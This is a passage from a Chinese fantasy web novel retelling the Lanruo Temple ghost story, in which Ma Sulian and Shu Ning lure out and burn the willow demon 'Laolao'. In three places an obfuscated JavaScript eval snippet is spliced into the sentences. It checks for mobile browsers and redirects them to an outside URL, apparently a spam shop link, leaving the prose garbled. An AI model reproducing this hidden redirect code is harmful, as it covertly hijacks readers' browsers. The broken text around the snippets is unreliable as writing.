他看了一眼缩在床边角落里的宁采臣,外间殿中的束宁对小姐道:“他们来了。” 马素莲早就察觉到了厢房里的动静。 她放下书,对束宁道:“你去看着点那边,不要让他死了。” 束宁点头,分出了更多小纸人溜进了厢房中。 与此同时,大殿中的房门也被敲响了。 “连公子,你们在吗?我是小倩的妹妹英娘,我姐姐不见了,连公子,你们能陪我去找一找吗?” 马素莲走过去开门。 瓢泼大雨瞬间扑进了殿中,狂风吹得殿中蜡烛的光芒摇摇欲坠。 束宁清瘦纤长的手掌护住蜡烛,从殿中走了过来,令门外的白衣女子看得一怔。 这两人的样貌……怪不得小倩说他们二人有异。 他们两个,谁是那位鬼夫? 英娘将更多的鬼气汇集在眼睛上,向面前二人仔细看去,这一次终于发现了最先开门的这位公子原来是个女身。 而她身旁这位捧着蜡烛的黑衣俊秀男子,身上气息确实缥缈不似凡人。 不过如此说来,是“鬼夫”便更合理了。 英娘心思急转,这二人既然一人为鬼,那便更不可能是道士之流了。 ——天底下哪有道士与鬼为伍的? 英娘觉得小倩与姥姥都有些小题大做了,但无论如何,计划还要进行下去,她还要将这二人骗去后殿中交由姥姥处置。 只可惜了这二人的好相貌。 怎么都不是凡人男子呢? 英娘心中暗暗道声可惜,低头敛眉,戚戚道:“晚上我早早歇了,只是浅浅睡了一觉,醒来便发现窗户敞开着,姐姐不见了踪影,我在院子里找了一整圈都不见姐姐影子,想起姐姐说过,前殿里来了几位书生,便冒昧前来,还请几位公子帮我找找姐姐吧。” 英娘一袭白衣,仔细看去,衣服上也有些素淡的纹样,只是在暗夜里并不显眼。她叫作“英娘”,长相里却没有几分英武之气,再加上这一袭白衣,乍一眼看上去飘飘如仙,在这狂风暴雨的夜里,只令人担心她会被这风吹走了。 既然是找人帮忙去寻她姐姐,那便没有让她进殿的必要了。 马素莲瞥了一眼厢房,宁采臣已经被聂小倩半拉半骗着往后殿去了,用脚趾头想也知道那后殿里有些什么陷阱。 最好就是那只大妖。 马素莲从天都观回家的路上,曾遇见一只游魂,声称自己成了鬼魂之后被一个名叫“姥姥”的大妖怪强行拘过去,被迫作了伥鬼,要替她吸取世间男子的阳气,供其修炼。 她还有一个孪生妹妹,找到她后也被姥姥害了,同在姥姥手下为鬼。 她们姐妹二人相依为命,在姥姥手下做了三年“谋财害命”的坏鬼,但妹妹心善,屡屡放过无辜过路人的性命,结果被姥姥发现后,一怒之下将妹妹杀死了。 她心灰意冷之下,一次趁有道士前来捉鬼,便打伤了姥姥借机逃跑了。 浑浑噩噩在世间游荡了几年,一直没有找到去往阎罗殿的路。 如今遇到了马素莲,只希望她若有机会,便把姥姥这个穷凶极恶的大妖铲除,也算为她妹妹报仇了。 马素莲听了女鬼的故事,顺手将她送去了地府。 她问清了地址,便来除妖。 据女鬼所说,姥姥极为谨慎,从来不在众鬼面前显露真身,大家只知道姥姥无比强大,挥手之间就能令她们中最强的厉鬼灰飞烟灭。而且性情霸道狠辣,从不容情,是以虽然有不少鬼魂想要反叛逃离,但都不敢在姥姥面前表露分毫。 所以那女鬼恨不得将姥姥挫骨削皮,却仍不知其真身,更不知道该如何除掉她。 马素莲听闻之后,便决定要令那大妖主动现身。 又因那大妖性情谨慎,她用障眼法将自己伪装成男子,待到夜间,阴气一盛,障眼法失效,那大妖必定心中起疑。 到时她再将实力控制一番,令鬼物们打不过自己,但实力又有限度,强不了太多,届时那大妖必然会亲自出手。 这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489808|202174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,计划就完成了一大半了。 今夜事情虽稍有差池,但主要目的仍算达成了。 马素莲没有要节外生枝的意思,没有戳穿女鬼英娘身上淋湿的程度与这瓢泼大雨并不相符。 她只是点了点头,随意问了几句:“你姐姐是何时不见的?”“门是开着的还是关着的?”这类问题,便对着束宁道:“取蓑衣来,我们跟英娘姑娘一起去找找。” 束宁把蜡烛交给小姐,转身走到书箱旁,从空荡荡的书箱里取出两件蓑衣,小姐一件他一件,然后接回蜡烛,随着小姐一块跟在了英娘身后。 院子里杂草没人,英娘走在最前面,束宁便几乎要看不见她的身影了。 他紧紧跟着小姐,烛光在风雨中飘摇欲坠,但都被他用妖力护住了。 英娘没有察觉出任何不对,她手里打着一把油纸伞,没提灯笼,在这般景色中显得有些不合时宜的胆大。 从正门进入兰若寺正殿虽然也有将近百米的距离,杂草丛生,显得很是荒芜,倒塌了半截的大门与殿门几乎无法相望,然而毕竟布局简单,下了台阶直接便是。 然而后殿的路线却要复杂得多。 束宁也是走在了兰若寺中,才觉察出这间佛寺其中的诡谲。 他想到小姐孤身前来,虽然知道小姐并不害怕,却还是不由自主牵住了小姐的胳膊。 在这片荒芜的重重杂草中穿过,又七拐八绕地路过了许多废旧的砖墙佛塔,他们终于到了后殿的门口。 刚到门口,马素莲一行人便听到了殿中传来的惊号声。 像乌鸦发出的干嚎,在这样漆黑的夜间有中说不出的恐怖凄厉。 后殿中亦是漆黑一片。 束宁手里一截蜡烛还燃着,他走在了几人前面,率先往殿中走去。 英娘似是没有想到他这般大胆,落后了几步,便落到了最后。 马素莲跟在束宁身后进殿。 殿中只是纯粹的黑暗,并没有什么妖法遮掩,所以她早就看清了殿中的情况。 ——聂小倩还在带着宁采臣在后殿的厢房中绕圈。 她身旁有一条软趴趴的、像绳子一般的东西快速甩在了她后背,又飞速撤走了。 聂小倩神情一变,咬着牙带着宁采臣往后殿大殿而去。 在那所大殿中,佛祖的头不知怎么消融了一半,只剩下斜半边坑坑洼洼的佛头,露出一个略带诡异的笑容。 像是被大火烧过一般。 一只瞎了眼的乌鸦就停在半边佛头上,偶尔干嚎一声。 乌鸦的身体黑漆漆的,但仍是轻飘飘的透明。 显然也是只死掉的乌鸦。 束宁走进殿中,蜡烛的火光照亮了殿中被火烧过的佛祖,还有里面其他一百零八座姿态各异的罗汉。 俱被火燎过,只剩其奇诡的外形,没有半分庄严之感。 束宁的烛光在两侧罗汉塑像的身前一一照亮过去,他牵着小姐的胳膊慢慢走到了佛祖面前,照亮了那只瞎眼的乌鸦。 19. 火焰 这时,聂小倩也带着宁采臣从侧面的厢房里走出来。 两人身上都没有蜡烛,在黑暗里摸索着走路,宁采臣不熟悉环境,几乎是被聂小倩拽着走。越走到后面,聂小倩被那条软趴趴的绳子抽过之后,更是急切。 宁采臣口中还在问:“小倩姑娘,你真的看得清路吗?” 结果推门出来,便看到了殿中的马素莲与束宁,还有一个不认识的白衣女子。 宁采臣的冷汗“唰”一下就下来了。 他看着殿中不说话的几个人,心里像是有鬼在吹风,感觉万分诡异。 等借着束宁手中蜡烛的光一瞧,这大殿中的所有佛祖菩萨都如此怪诞恐怖——一个个都残缺不全,表情诡异,尤其是这座只剩了半边佛头的佛像。 原本佛祖的表情平和慈悲,然而这座佛祖像缺了半边脸不说,只有一只眼睛的脸上眼角滑下来,嘴角也像下撇着,皮肤像脓水一般化开。 宁采臣看清的瞬间便禁不住打了个冷颤。 “小倩姑娘,你姐妹二人就住在这样的殿中吗?” 他一时不察,将心里话说了出来。 宁采臣深觉聂小倩也诡异至极,悄悄离她站远了些。 聂小倩在心里翻了个白眼,但碍于姥姥的计划,还是将戏唱了下去,道:“我们姐妹住在后面的厢房里,平日里是看不见这些的,而且只是夜间看着可怖些,白日里是不要紧的。若不是这兰若寺里曾经遭过大火,这些佛祖菩萨的塑像变成如此模样,也轮不到我们姐妹二人住进来。 宁公子,圣人言事在其真,不在其表。 对我们姐妹二人来说,这些佛祖菩萨虽然面目可怖,待我们姐妹二人却比外面的恶霸好得多。” 聂小倩拿袖子轻轻掠过眼底,随即像是方才发现角落阴影中的妹妹,快步走了过去,挽住了英娘的胳膊。 姐妹二人一通哭诉,分别说寻了对方许久。 至此,这场姐妹相寻的戏码终于算是唱到了中场。 束宁有一只纸人分身还趴在宁采臣肩膀上,他察觉到宁采臣身体一直在打冷颤,主动与他说话道:“宁公子何时出来的?” 宁采臣不敢看他,方才被聂小倩一通训导,他颇觉自己书读得太浅,这会儿心中惭愧,又觉得聂小倩姐妹二人实在可怜,应是正常人。 而束宁与马素莲,聂小倩敲窗时与他说过,这二人是鬼。 可蜡烛捧在束宁手中,他观察了一番,连肃与束宁的影子都是正常的。 聂小倩与她妹妹的影子也是正常的。 ——他们之中,到底谁才是鬼? ——又或者,是聂小倩心中害怕的猜测? 宁采臣心里发毛,随口答了束宁的话之后便道:“小倩姑娘的妹妹既然已经找到了,那我们便还是回去睡觉吧。” 束宁倒是想点头,然而这场戏才唱了一半,重头戏还没上演呢,恐怕是不会让他们都回去的。 他没有点头,宁采臣便更警惕戒备了:“我们留在这里,可还有什么事吗?” 马素莲道:“宁公子前来此地时,可有听到惊号声?” 宁采臣露出茫然的表情:“什么惊号声?” 马素莲的视线在佛祖头顶的乌鸦身上略过,道:“没什么。” 看来这乌鸦普通人是看不见的。 瞎眼的乌鸦,半支眼睛的佛头。 又或是这殿中一百零八罗汉的眼睛。 哪个是那位姥姥的眼线呢? 马素莲道:“我们留在此地确实无事了,夜还很深,不如回去休息,小倩姑娘意下如何?” 聂小倩点头点到一半,忽然止住了,她面上有痛苦之色一闪而过,随后忽然惊声道:“那是什么?” 她抬手指向殿外。 殿外暴雨如注,一道闪电恰好劈下,映亮了整个天空和庭院。 杂草中似乎有十几道黑色的影子。 然而下一刻,又是一道闪电劈过,影子又消失得无影无踪了。 宁采臣使劲儿揉了揉眼睛,他没有看清那些影子是什么,乍一看,很像是杂草在闪电下的影子。 比人还高的杂草,有些影子映在后面再正常不过了。 即便宁采臣一晚上来经历了太多,但他还是觉得这大殿中的神佛更加可怕。 对比之下,那间简单的厢房里一只蜡烛就能照亮整个房间,比这个四面漏风、处处塑像的后殿要好得多。 他在殿中张望寻找了片刻,扯下了一截幡布,对束宁道:“我能不能借点火?” 束宁将蜡烛往前递了递。 宁采臣把幡布点上。 火光带来了一点安全感。 聂小倩看着他的动作,惊讶道:“宁公子还要走?” 方才姥姥在院中放了不少死去的乌鸦,又刻意让它们在闪电下显形,就是为了吓住这几人,让他们留在后殿中。 没想到宁采臣竟然这般胆大了,难不成他要自己冒雨回去? 宁采臣点了点头,道:“小倩姑娘还有事吗?” 聂小倩迟疑地摇了摇头:“可去前院的路很绕,宁公子分辨得清吗?” 当然是分辨不清的。 但宁采臣这会儿没法信任这里的任何一个人,看谁他都觉得不是人。 与其被他们合谋害了,不如搏一搏,回到前殿。 若他们都是人,那更无妨了,外面只是在下雨。 他打定了主意,见幡布燃烧得很旺,便将其虚虚护在怀里,往外面冲去。 马素莲看着宁采臣的身影冲出殿外。 但很快,她便目光一凝。 方才外面的黑影只是些死去乌鸦的魂魄,魂魄虚弱至极,在夜间阴气如此之重的时分都没法显形。 然而宁采臣一冲到院中,那些乌鸦的口中竟生出了无数杂草,上面包裹着重重尖刺,纷纷朝着宁采臣飞扑而去。 马素莲已经明白了。 这是聂小倩背后大妖的试探。 姥姥不知道她与束宁的实力。 是否能看见乌鸦是第一层。 是否能打过乌鸦是第二层。 但即使有杂草尖刺的助力,乌鸦的实力也依旧不强。 所以必定还有第三层试探——聂小倩与英娘的攻击。 若她就是那位姥姥,这三层试探还不算,这里面必定还有第四层。 或许是在这些乌鸦之中,或许在塑像之中,又或许,在聂小倩与英娘之中。 假作真时真亦假,试探若是过不去,也可以直接变成了断。 马素莲在电光火石之中想通了姥姥背后的算计。 她戳了束宁一下,束宁立即意会,他指尖一弹,将蜡烛的火光直接弹飞出去,豆子大小的、在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489809|202174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风雨中摇摇欲坠的那点火焰,一飞出去就立即变作了一大团火焰,顺着宁采臣手中的幡布“蹭”一声燃烧上去。 幡布在雨中本来已经被浇灭了许多,遇到这团火焰立即爆燃开来,宁采臣吓了一跳,下意识将手中幡布连通那团火焰一块扔了出去。 他原本并没有看到那些乌鸦。 但这团火一扔出去,火焰照亮了周围的景象——他一时间竟看到了上百只密密麻麻的乌鸦正朝他飞扑而来。 乌鸦的口中还生有尖刺,凄厉无比。 宁采臣愣住片刻。 但很快他就回过神来,扭头就往殿中跑来。 他踏进殿中的最后一步,急急转头回看,只看到那团黄色的幡布在暴雨中依旧旺盛地燃烧着,将上百只黑色的乌鸦烧了个干净。 黑色虚影的乌鸦似乎从来未曾存在过。 只余下一缕烟气,被浇灭在了雨中。 幡布上最后一点火焰,竟在半空中悠悠飞回了殿中。 宁采臣顺着火焰看去,正巧看到束宁伸回去的修长手指和他手中的半截蜡烛。 宁采臣:…… “兄台原来是高人,怎么不与我明说呢?” 他口中埋怨,但心中却仿佛一块大石头落了地,满身的冷汗混合着湿透的雨水,宁采臣劫后余生地倚在了门框上,渐渐滑落了下去。 束宁冲他微微一笑。 他分在宁采臣肩上的纸人分身也悄悄滑了回去。 方才若是小姐不戳他,他会用纸人分身替宁采臣抵挡一番。 聂小倩姐妹方才也惊呼了一声,这会儿危机解除,聂小倩心有余悸地拍了拍胸口,朝宁采臣走了过去:“宁公子,你方才看清那些是什么了吗?” 聂小倩与英娘走到宁采臣身边,作势要扶他。 宁采臣下意识往后躲了躲。 他还没有忘记,之前聂小倩敲窗时分明与他说过——“束宁二人是鬼”,可眼下这“鬼”刚刚救了他。 虽然还不知道聂小倩姐妹究竟是人是鬼,但她们总归说了假话。 宁采臣心中戒备,只是他腿有些软,这姐妹二人的动作看似和缓,又似乎快得惊人,还没等宁采臣拒绝,两双手就已经架在了他胳膊上。 宁采臣:难道天要亡我? 他心中绝望渐渐蔓延,却一直没有等到聂小倩二人凶相毕露。 宁采臣睁开一只眼睛。 聂小倩姐妹二人仍是美丽至极的姑娘,没有尖刺,也没有獠牙。 宁采臣:说不定这姐妹二人也都是人。 今夜没有坏人。 只有一些坏鸟。 聂小倩与英娘的手还架在宁采臣胳膊上,硬梆梆的,甚至像是在提着他。 宁采臣提醒道:“小倩姑娘,你们可以将我放开了。” 他已经站起来了。 然而聂小倩没有理会他,而是对着束宁道:“公子,俗话说救人一命胜造七级浮屠,现在刚好就在佛祖眼下,想必不止七级浮屠……不知公子你,肯不肯拿连公子的命,来换宁公子的命?” 英娘另一只手伸出来在宁采臣眼前晃了晃。 一只纤细白皙的手上,竟有五根黑色的又长又锋利的指甲,一看便不是人手。 英娘笑了笑,道:“姐姐,你说错啦,应该是肯不肯拿连小姐的命,来换宁公子的命?” 20. 姥姥 连小姐? 这是谁? 宁采臣在聂小倩与英娘手下一边挣扎一边满头雾水地想道,这两个年轻姑娘的手劲大得吓人,任凭他一个大男人如何使出浑身力气挣扎,竟然半分也撼动不了她们。 他依旧被稳稳架在空中。 而随着英娘话音刚落,马素莲便解除了障眼法,恢复了真身。 聂小倩与英娘眼神中闪过一抹异彩,英娘率先叫道:“连小姐原来是位高人,既然如此,想必束宁公子也没办法用你来交换,不如由连小姐自己决定,”她扭头看向宁采臣,继续道,“到底救不救这位宁公子?” 说着还舔了下舌头。 聂小倩也伸出另一只手,长长的指甲凑近宁采臣的脖子,在附近比划着。 “只要我微微一用力,连小姐就不必犹豫了,凡人的脖颈有多么脆弱,不用我来提醒连小姐吧。” 宁采臣依旧挣扎,却没有开口求助。 马素莲道:“休得伤人性命!” 便握着拳头冲了上去。 束宁见状,微动的指尖打了个转,将蜡烛上的火焰又一次甩了出去。 聂小倩与英娘一绿一白,一人一个,分别攻向马素莲与束宁。 马素莲装作只有一身蛮力,拳头打在聂小倩身上,聂小倩不疼不痒,甚至都不必后退。 聂小倩略有些惊讶,但她顾忌地扫了一眼殿中,一手提着宁采臣挡在身前,同时低身俯冲,另一手黑长指甲冲着马素莲脖子划去。 马素莲拳头堪堪收在宁采臣脑门前,对聂小倩的指甲却有些闪避不及。眼见那指甲就要擦到她的脖子时,束宁瞬闪到了小姐身边,随后扯下一截黄色的幡布挡在了她身前。 英娘被虚晃一枪,躲过火焰后见束宁无暇顾及,五指疯狂生长,片刻后便锁住了那朵火焰。 大殿里顿时陷入一片漆黑。 束宁一手拉着小姐,一手托着没有火焰的蜡烛,还有一只小纸人站在宁采臣肩上戒备着。 形式看起来十分一边倒。 就在这时,殿中忽然传来“轰隆隆”的声音。 马素莲定睛看去,发现台上罗汉竟然开始“扑簌簌”动了起来,抖落了一室尘土。 到了这个时候,姥姥竟然还没有现出真身。 确实足够谨慎。 马素莲戳了束宁一下,束宁意识到时机还没有成熟,还需要做戏,便故意将小姐往身后护得更严实了些,低声道:“师父给的符只剩三张了,没到关键时刻不能乱用,你跟我紧些。” 然后往小姐手中塞了几张纸条,形状方方长长的,看起来很像道家的符。 一百多个形状怪异的罗汉塑像蜂拥而至,束宁开始时还显得游刃有余,后来便渐渐左支右绌,难以招架。 马素莲在旁边看好时机,一边应付聂小倩与英娘,假装要救宁采臣,挨了她们好几下指甲,一边还要关注束宁那边的战局,紧要关头甩张火符过去。 一时间双方打得难舍难分,十分热闹。 束宁与马素莲渐渐落了下风,但好在将宁采臣夺了过来。 “最后一张火符了,不能用!” 束宁拉住了小姐的手,冷声道:“我应付得来,你不用管我!” 说着便受了一个罗汉塑像一腿。 马素莲十分狼狈,声音中带了几分哽咽,道:“不行!我不能抛下你不管!” 甩出了最后一张火符。 这张火符的威力较前两张要大得多。 火焰沾到第一个罗汉塑像开始,便一个传一个,转眼间就成整座后殿烧成了一片火海。 聂小倩与英娘被火海困在殿中,原本鬼物是不用惧怕火焰的,然而火符生成的火似乎带有些其他的克制作用,聂小倩与英娘像被地狱之火炙烤着,一点点虚弱下去。 束宁的身份是“鬼”,自然也受不了这种炙烤,他忍不住跪撑在地上,露出一个虚弱的笑。 马素莲将他抱在怀里,环顾四周,哽咽道:“我带你出去。” 说着便将束宁架在了肩上,跨着火海将他往殿外搬。 宁采臣在火海中抱头鼠窜。 见到马素莲这边的情况,他犹豫片刻,还是咬咬牙,往回跑了几步,架住了束宁的另一只肩膀。 束宁有些感动:“没想到宁公子如此知恩图报。” 宁采臣擦了擦额头的汗,颇有些欲哭无泪,但又有些真心实意:“我应该的。” 他们跨着火海和不断掉落的房顶,一步一步艰难迈出了殿外。 聂小倩与英娘也想出来,但火焰将她们限制得厉害,只要她们往外稍一迈步,火焰就会立刻蹿得更高,将她们死死拦在火海之中。 英娘忍不住这般酷刑,开始哭喊道:“姥姥救我!” 聂小倩忍耐着不肯吭声。 宁采臣听到了,他又是一脸茫然。 谁? 马素莲摁住束宁想要抬头张望的脸,警告地捏了一下他的耳朵,束宁又委委屈屈低下头装柔弱。幸好他身上的蓑衣没脱,被雨淋湿的地方都被小姐好好藏住了,实在藏不住的也被小姐挡住了。 但这样一来,小姐的身体就离他很近。 近得他能感受到小姐身上传来的温暖之意。 他为了扮演“受伤”,这会儿是半跪在地上的,为了遮掩住他身体的异样,他被小姐半抱着,额头就抵在小姐脖颈处。 束宁一时间有些愣神。 马素莲戳他一下,没有效果,索性掐了把他的耳垂,束宁才回过神来。 终于,在他又呕出一口“鲜血”之后,姥姥终于忍不住出手了。 鲜血被暴雨冲刷开来的瞬间,院中安然生长的杂草忽然开始抽条疯长,纷纷朝着束宁与马素莲刺来。 按照剧本,这时她们手中已经没有任何火符了,蜡烛的火焰也被熄灭了。 马素莲只有一双拳头,而束宁也受伤在地。 宁采臣忽略不计。 他们现在只能任人屠戮。 马素莲握住了束宁微微动作的手指,对他微不可察地摇了摇头。 杂草上的倒刺划破了他们的身体,转眼间就将他们吊在了空中。 马素莲努力挣扎,但始终无济于事。 杂草越缠越紧,上面的刺慢慢勒进了他们的血肉之中。 宁采臣痛呼出声。 束宁则是紧握着小姐的手不肯松 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姥姥只看了她一眼,便又将视线看向了被杂草挂起来的几人。 她的视线先是在宁采臣身上无谓的掠过一眼,之后便长久地迷恋地在束宁身上流连着。 束宁的眼神像刀锋般射向黑衣老妇,手指紧握成拳,若不是小姐反握着他的手…… 老妇浑然不觉,她如同看死物一般欣赏着束宁,好似在欣赏一件精致的摆件,半晌才道:“你叫束宁?可愿意追随我?” 束宁不答。 老妇顿时不悦,但她袖子的鞭子只出到一半,便调转了方向,狠狠向束宁身边的马素莲抽去。 “敬酒不吃吃罚酒,既然这是你的心上人,那便由她替你受苦吧。” 那根鞭子准确无误地抽向了马素莲的脸,眼见离马素莲的脸颊只有不到半刻,束宁已经顾忌不了任何捉妖的计划,他忍不住将全身的纸人都分过去保护小姐,然而马素莲比他的动作还要快。 她抬手攥住了那条鞭子。 抬手之时,那些杂草便寸寸碎裂,没有任何阻碍困缚之力,她攥住了那条长满倒刺的鞭子。 杂草碎裂,马素莲与束宁还有宁采臣都落到了地面。 转眼之间,受困者脱困,施虐者惊恐欲逃。 攻守之势已逆。 马素莲指尖有火焰顺着鞭子燃向了黑衣老妇。 “哦?你没有心上人,便由你自己来承受吧。” 无数符文从马素莲指尖一道涌出,形成了一个巨大的牢笼,将黑衣老妇困锁其中。 火焰顺着鞭子一路烧到老妇袖子,继而是全身。 马素莲脸上一派平静,再没有之前的直率冲动,尤其是她的眼睛,仿佛一潭深不见底的湖泊,波澜不兴,深不可测。 在姥姥看来,这种平静中夹杂着数不清的疯狂与残忍,只不过都藏在那潭湖泊之下,唯有此时此刻,在她这样被残酷地施以极刑的人眼中才能窥见一二。 马素莲满身伤痕与鲜血,却看不出丝毫狼狈,她嘴角甚至还带了一点笑意,似乎能看出心情不错。 “求饶,我或许还会饶你一命。” 21. 第 21 章 黑衣老妇浑身被火焰燃烧着,她的眼神中流露出怨毒的情绪,袖子里的鞭子向牢笼外张牙舞爪地涌出。 说来奇怪,造成黑衣老妇这般绝境的明明是马素莲,但她的鞭子却冲向了束宁和宁采臣的方向。 束宁眸光似刃,厌恶地看了那老妇一眼,惹来她更加疯狂的攻击。 马素莲站到了束宁身前,挡住了老妇的视线。 她嘴角浅淡的笑意消失了,口中念了几句,那符文牢笼便越收越紧,火焰也越来越旺。片刻之后,牢笼缩小到了只有手掌般大小,里面的火焰也变作了紫黑色。 黑衣老妇忍不住痛呼出声,她开始咒骂、号叫,意识不清醒时夹杂几句求饶,然而很快又会被咒骂声取代。 英娘愣在一旁,开始时她还想去救姥姥,结果没想到聂小倩拦了她一下,姥姥就被那黑色符文铸就的牢笼困得动弹不得了。 她看着漂浮在半空中的小巧的牢笼发愣。 姥姥已经被烧出了本体——是一只柳妖。 一大半树干是空心的,上面布满了焦黑的纹路,彷佛在此之前很多年,便被火烧过。 怪不得姥姥一直黑纱覆面。 听闻妖类若本体受伤,化形之后也难以祛除伤痕。 像这么严重的伤,必定会留下难以掩饰的痕迹。 马素莲瞳孔中映照出这只柳妖被真火燃烧的身影。 她掐算了片刻,确认了这就是柳妖的本体,忽然觉得有些索然起来。 束宁站在小姐身后,视线盯着小姐脖子上的伤痕,半晌,忍不住用手指轻轻捂住了那道伤。 他不愿,也不能看到小姐流血。 马素莲抬头看了他一眼,没有动作,任由他去了。 转过头,她看向聂小倩与英娘。 聂小倩立即下跪,道:“对姥姥这种性情来说,咒骂便是求饶了。我与其他许多姐妹受姥姥驱使,做过不少恶事,自知罪责难逃,但……终究非我等本意,还请连小姐念在我们迫不得已的份上,饶我们一命。” 英娘像是终于反应过来发生了什么。 这位连小姐既然能将姥姥杀鸡宰牛一般轻而易举就料理了,对付她们这等小鬼,大约也就是抬抬手指的事。 而这位连小姐的性情,今夜她也算是见识到一二了。 她比姥姥更有城府,更能忍耐,也更为强大。 与这样的人为敌…… 英娘看向了黑色牢笼中还在燃烧的火焰,忍不住打了个寒颤。 马素莲将那个牢笼收起来,走到了后殿仅剩的一点廊檐下。 束宁一时不察,手指划过小姐的脖子落了下来,但他很快就意识到,小姐是为了照顾他才走到檐下的,他忍不住喉结滚动,想了半晌不知道该说什么,视线掠过那道黑色牢笼,慌乱中脱口问道:“她还要烧多久?” “四十九天。” 宁采臣早就被这一番又一番的变故惊掉了下巴。 他这会儿失去了思考能力,下意识觉得这两人身边安全便跟了过去。 聂小倩与英娘跪在雨中等待命运的定音。 马素莲看了眼束宁身上被湿透的地方,蓑衣挡着,大多数地方好好的,但是袖口、脚边都已经绻了边。 她不想在此地久留了,对聂小倩道:“你们将剩下那些人叫来,我一块发落。” 聂小倩不敢说别的,低声应了。 英娘还想再问些什么,然而马素莲比姥姥气场更强,她不敢问,跟着聂小倩退下了。 过了片刻,十几只花容月貌的女鬼站在了庭院中。 大多数脸上都有些解恨的畅意,但姥姥已经伏诛,她们想要求活的心还是占据了上风。 惊疑之后果然看到了漂浮在半空中的黑色牢笼,里面传来的咒骂声也确实是姥姥的声音,她们这才相信了聂小倩的话,纷纷向马素莲求起情来。 马素莲伸手叫停,道:“我不是阎王,不管善恶评判,你们做的善也好,恶也罢,自会有记录,都与他说去吧。” 说完,她便燃了一支香。 片刻后,黑白无常从地下钻出来,围着香吸了好几口,才看向马素莲。 白无常道:“我的姑奶奶,又遇上这么多鬼?” 马素莲点头。 黑无常的话比马素莲更少,直接就要拘鬼。 两人干完了活,白无常指着那笼子的柳妖问道:“她不送?” 马素莲:“她的死期到了吗?” 黑无常要拿出生死簿翻看,被白无常拦下了。 白无常问道:“还有多少天来着?” 马素莲:“四十九天。” 白无常:“对!四十九天后我们再来吧,到时候别忘了备香。” 他扭头看黑无常还要翻生死簿,“哎呦”了一声,道:“快走吧老黑,一堆事儿呢。” 说着就把黑无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489811|202174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常还有院子里一众鬼物都押走了。 院子里一下子清净了许多。 马素莲道:“我们也走吧。” 束宁点了点头,路过宁采臣时踢了他一脚。 “回神了没?” 宁采臣愣楞道:“你们要回前殿吗?” 束宁:“我们要回家了。兰若寺已经没有鬼了,宁兄,现在你去前殿休息,不会再有什么奇奇怪怪的人或鬼了。” 宁采臣扑上去就要抱束宁胳膊,被后者躲过了。 宁采臣道:“束宁兄,你是高人,连小姐也是高人,不瞒你说,我一路赴京赶考,少不得还要住几间荒山野庙,你们用的那符,是小姐自己写的吧,能不能赠我一张?我拿银子买行不行?俗话说救人一命胜造七级浮屠,在寺里救人,肯定不止七级了……你们行行好吧……” 束宁只觉得宁采臣突然之间变得聒噪了许多,但一想到他今晚经历了这许多惊心动魄的事,情绪激动些也是情理之中。 于是他拍了拍宁采臣的肩头,那张小纸人就站了起来,变作了一张平平无奇的白纸,上面划了一道短横。 “这张符与小姐用过的不同,不是火符,但若有危险,可以拿着他唤三声‘束宁大人’,届时自有妙用。” 宁采臣小心翼翼捏着那张符,感动得热泪盈眶,冲马素莲与束宁深深一拜。 “谢过连小姐与束宁兄,山高水长,说不定哪日我们还会相逢的,你们一路保重。” “保重。” 马素莲也道:“保重。” 她想了想,道:“你那把菜刀还没开刃,镇不住邪祟,若要能镇住妖邪,还得让它见见血光。” 宁采臣一时之间愣住了,不由自主往身后书箱看去。 他没想到,母亲交给他的竟然是一把没开刃的菜刀。 但他很快想通了关节,大约母亲担心他路上遇到歹人是真,但又怕他当真伤了人,所以出了这个主意。 宁采臣很有些感慨,他看着周遭陌生狼狈的景象,忽然很想家了。 等他再一抬头,忽然发现,面前一双璧人已经消失不见了。 宁采臣回到房间里迷迷糊糊睡醒,发现天已经晴了,下了一夜的雨将院子浇得十分湿润泥泞。 他打开窗户往外望去,蒙蒙亮的天色中,有一个衣衫褴褛的中年大汉,正踉跄着走进院子里,嘴里还嘟囔着:“奇了,明明感觉到这里有妖气的。”